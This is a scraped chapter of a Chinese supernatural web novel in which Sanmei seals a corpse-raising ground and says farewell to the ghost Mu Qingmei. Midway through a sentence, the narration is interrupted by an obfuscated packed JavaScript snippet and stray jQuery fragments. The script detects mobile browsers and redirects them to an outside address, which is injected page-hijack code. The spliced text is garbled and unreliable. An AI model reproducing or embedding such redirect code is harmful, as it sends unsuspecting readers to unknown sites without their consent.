94. 第 94 章

作品:《棺椁摇梦铃

    “就是古井村的村民,和马大旺他们——”三枚虽然想好了要怎么做,但心里还是有些犹豫。


    “他们现在,”陆衎不用看,听声音就知道三枚又开始心软了,“身体被活埋在地下那么长时间,遭受的罪难已经够多了。”


    即便还剩着一口气,也早已经成了人不人鬼不鬼的行尸走肉,总不能眼睁睁看着他们,真的被邪术炼制成活死人。


    “给他们一个痛快吧。”陆衎对着三枚说道。


    他的神色肃穆,冷锐的眼睛里明明冰寒一片,三枚却从他微皱的眉心,看见了丝丝淡淡的悲悯之色。


    “你说得没错!”三枚拍了拍脸,振作了下精神,“长痛不如短痛,我让他们早点解脱,才是为了他们好。”


    陆衎摸了摸三枚红彤彤的小脸,有些无奈地道:“你真的......对自己下手还挺重啊。”


    手劲那么大,脸都拍红了。


    三枚却是不以为意,拿过陆衎画好的卷轴,看了一眼就又塞回他的手中,“我再上养尸地里一趟,先把阵眼给封了。”


    陆衎从怀里拿出一个火折子,“需要火折子吗?”


    “有是最好。”三枚让陆衎把东西先收起来,“放火的事,等我出来再说。”


    她小拇指朝陆衎勾了勾,“还记得我之前怎么跟你说的吗?”


    铃铛一响,就把锁魂箱打开。


    记得一清二楚的陆衎,微微点头,也伸出小拇指,轻轻地勾住了三枚的,“记得。”


    小指勾小指,像是在拉钩作着什么约定似的,三枚左右晃晃,忍不住笑了起来。


    气氛瞬间就没有刚才那么地沉闷了,陆衎看着三枚的笑容,嘴角也跟着微微上扬。


    ——


    二入养尸地,三枚没有之前那般小心翼翼。


    她已经确认过了一遍,埋在养尸地下的,不管是半死不活的尸体,还是魂游体外的幽冥,现在皆是能量最为微弱的阶段——分离太久的二者,正在慢慢地融合。


    等到融合完全之后,照射在墓穴之上的阳光,会在刹那变成幽冷的月光,完全泯灭生者的自我意识,进行尸变。


    尸变,是炼尸的最后一个阶段。


    三枚打算先将养尸地里的阵眼封闭,再和陆衎跑得远远的,最后放上一把旺火,让这地阴阳对冲,浴火重生。


    心里计划好所有的步骤,三枚依旧抱着敬畏之意,对着养尸地缓缓地行了一礼后,才缓步走了进去。


    破瓷碗轻轻一晃,两枚轻巧的五铢钱,又开始在碗里旋转了起来。


    三枚右手高举着紫色小铃铛,一步一摇,还是之前的方位顺序,西北、正西、......,最后是西南方位。


    站在西南方位,她缓缓抬头,虚空之上的浮影依旧是依靠在云阁栏杆上的木清梅,正巧笑嫣然地对着三枚挥着小手。


    “你终于来了呀,”木清梅的声音很轻很柔,一双水汪汪的大眼睛,仿佛会说话一般看着三枚,满是娇嗔地道,“你知道吗,我在这儿,等了你好久、好久......好久好久了呀......”


    三枚拧着眉头,慢慢地闭上了自己的双眼,在心里叹道:“你应该一开始就实话实说的。”


    何必兜兜转转这么一大圈,又演又唱的。


    木清梅摇头轻笑,“你看起来,不像是会多管闲事的人。”


    三枚一噎,她确实不是。


    若不是遭了那姓涂的小贼暗算,她现在估计已经在回山门的路上了。


    “其实吧,”木清梅又道,“之前在路上,我就想过要向你坦白的,但是......”


    闹脾气的三枚,用咒印将她的嘴巴给封住了。


    说不了话,比手画脚又惨遭无视,自己也是没了办法了。


    “你个撒谎精还有理了?”三枚睁开眼睛,满头黑线一脸无语。


    又被骂撒谎精的木清梅,气鼓鼓地嘟起了嘴,“我才不是撒谎精!”


    “我只是将时间线打乱,虚虚实实各掺一半,说出来的话,并非完全作假。”


    时间紧凑,三枚不想再跟木清梅继续掰扯下去,翻了个白眼后,她猛然睁开双眼,“少废话,趁现在还有点时间,你赶紧将你知道的,一五一十老实交代清楚了。”


    木清梅脑袋一歪,嘟着嘴巴道:“其实,我知道的,与你了解和心里猜测的,基本大差不离。”


    五十年前,眼下的这块地,灵气和生气还很充足,木清梅坠崖后,确实曾经被一股暖烘烘的气流接住了,有了缓冲和疗愈,令即使丢了一魂的她,没有立即丧命,而是多苟活了一年之久。


    她死后魂魄一分为三,直到三枚带着巧儿的骨灰和亡灵回到黑山寨,才完整凑合,这件事也确实是真的。


    “我死后残魂落魄的,除了一副幽魂的形态,什么都做不了。”


    三枚:“从地下出来的活死人,五十年来,你见过不少吧?”


    迟疑了一瞬,木清梅缓缓点头:“是的。”


    “但我起初,并不清楚那些人到底怎么了。”


    木清梅的人生,基本是一张白纸,乍然看见从地下爬上一群人来,吓得她以为是有人借尸还魂,也是到后来,才发现那些人很不对劲。


    虽然那些人破土而出的时候,外形看起来与一般常人无异,但是令人惊悚的是,没有瞳仁,都是一水的大白眼。


    而且他们的身体都很僵硬,走路的姿势歪七扭八,形态各异,行动的时候亦是诡异地发出嘎吱嘎吱的声音,仿佛关节骨头都要磨烂了的感觉。


    每个人的眉心上,都印着一个深深的黑色符文,与三枚之前打在木清梅身上的咒印不同,黑色的符文,像是凿刻在他们的眉心,就像诅咒的标记,永久都不会消失。


    然而,木清梅却猜错了,那个符文的边沿被头顶那缕阳光照射到的时候,突然闪过黑色的光芒,眨眼的瞬间,符文也跟着消失不见了。


    但她总觉得,那个符文并没有消失,而是深入了那群人的骨髓里。


    因为木清梅发现,符文消失的瞬间,他们僵硬的肢体,突然就变得协调了起来,走路的姿势看着也正常了不少,甚至他们的白眼也恢复了正常,只是稍显空洞呆板了一点。


    三枚:“然后呢?那些‘人’最后去了哪里?把他们从黑渊里接纳出去的人,你有看见吗?”


    木清梅抿唇,眼神有些不敢直视三枚,须臾摇了摇头:“当时我的魂体不稳,活动的范围被局限在了养尸地里,无法随意走动。”


    “但是,你不用担心,那些‘活死人’不成气候的。”


    三枚拧眉:“你做了什么?”


    “我什么也没做。”木清梅摊手,一脸无辜,“都是它告诉我的。”


    她指着三枚手中的铃铛,“应该是它做了什么。”


    顺着她的手指,三枚看着安静缠在铃铛上的棉絮,若有所思。


    木清梅的声音忽而有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729626|133884||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    些低落:“具体情况我是不清楚的,它还活跃的时候,我失魂落魄,混混沌沌,现在我魂灵完整,它却......”


    “你也差不多了。”三枚在心里这样说道。


    木清梅的神色忽而一僵,显然听清了三枚的嘀咕。


    三枚眼睛一闭:哎呀,忘了她现在能听见自己的心声,真是......


    “我知道。”木清梅道,“所以,我们都在求救。”


    环绕在她身边的云雾忽而变得更加浓郁,颜色也愈发黑沉了起来。


    丝丝缕缕的金色阳光,逐渐稀薄、黯淡了起来。


    时间差不多了。


    “你、”三枚准备摇铃的时候,倏而拧着眉头,看着木清梅略显迟疑地道:“若是早一点,姑且我还能保你一保。”


    如今已是迟了,你最后的下场,可能就是灰飞烟灭。


    “这样也挺好的呀。”木清梅坐在栏杆上,双脚悬空,前后踢踏,像个无忧无虑、充满童趣的小孩。


    她一脸纯真无瑕的看着三枚,“起码我自由了呀。”


    无需轮回,并不用承受生命之重。


    即使成为浮散在光阴里的灰尘,她都自由了。


    她笑得爽朗,眼角眉梢都是笑意,三枚在她的身上,感受不到一丝戾气和怨恨,


    “你不后悔就好。”三枚最后说道。


    她正对着西南方位,将手中的破瓷碗轻轻放下,手腕一翻,凭空又抽三根线香。


    线香缓缓擦过举在头顶的小铃铛,再回到三枚身前时,已被点燃,徐徐地飘着香雾。


    三枚抬头,最后扫了木清梅一眼。


    木清梅已经从栏杆上下来,背手站在她的厢房门口,对上三枚眺望而来的视线,缓缓勾唇一笑。


    她轻轻挑起裙角,对着三枚姿态优雅地行了一礼,接着毫不犹豫转身,撩开珠帘迈步进了房间。


    “赴死之人都这般从容,我怎的这般优柔寡断,实在不像话!”三枚咬唇,恨恨地跺了跺脚。


    线香旺盛,才这么一会儿,便燃了一大半之多,三枚将香灰轻轻抖落,慢慢地原地转了一圈,才慢慢地弯腰,将香火竖到了破瓷碗里。


    破瓷碗里的两枚五铢钱,顺着缭绕的烟气,一跃一跃地跳回了三枚的手上。


    一切准备就绪,三枚转头,看向了远处的小土坡。


    陆衎身姿笔挺,站在高处,风从他的身边拂过,带起他的衣角,不断地向后飞着,他却仿佛青山一般,岿然不动。


    三枚的嘴角忽而上扬,低头轻笑了一声,举着铃铛的那只手,尾指忽而虚空轻轻一勾,紧接着便毫不犹豫地摇响了铃铛。


    铃铛里的小小金属丸子互相撞击,滚来撞去,终于发出了清凌凌的脆响。


    “叮铃、叮铃、叮铃、”


    随着铃声响起,一直微弱起伏的地面,猛然开始晃动了起来,发出“嗡嗡嗡”的沉闷声响。


    三枚不再耽搁时间,抓着紫铜色的小铃铛往上天上一扬,用力丢向悬浮在空中的云阁。


    附着在铃铛上的棉絮,与弥漫在高空的浓雾接触,倏而发出“砰”的一声巨响,擦起的火花向四处迸溅。


    铃铛也在这个时候蓦然变大,慢慢地向极阴之地覆盖下来。


    直到看见一抹身影,倏的一下被吸附进铃铛里,三枚才抄起地上的破瓷碗,撒腿便跑。


    她小心护着碗里的线香,边跑边大声吼道:“陆衎,开箱!”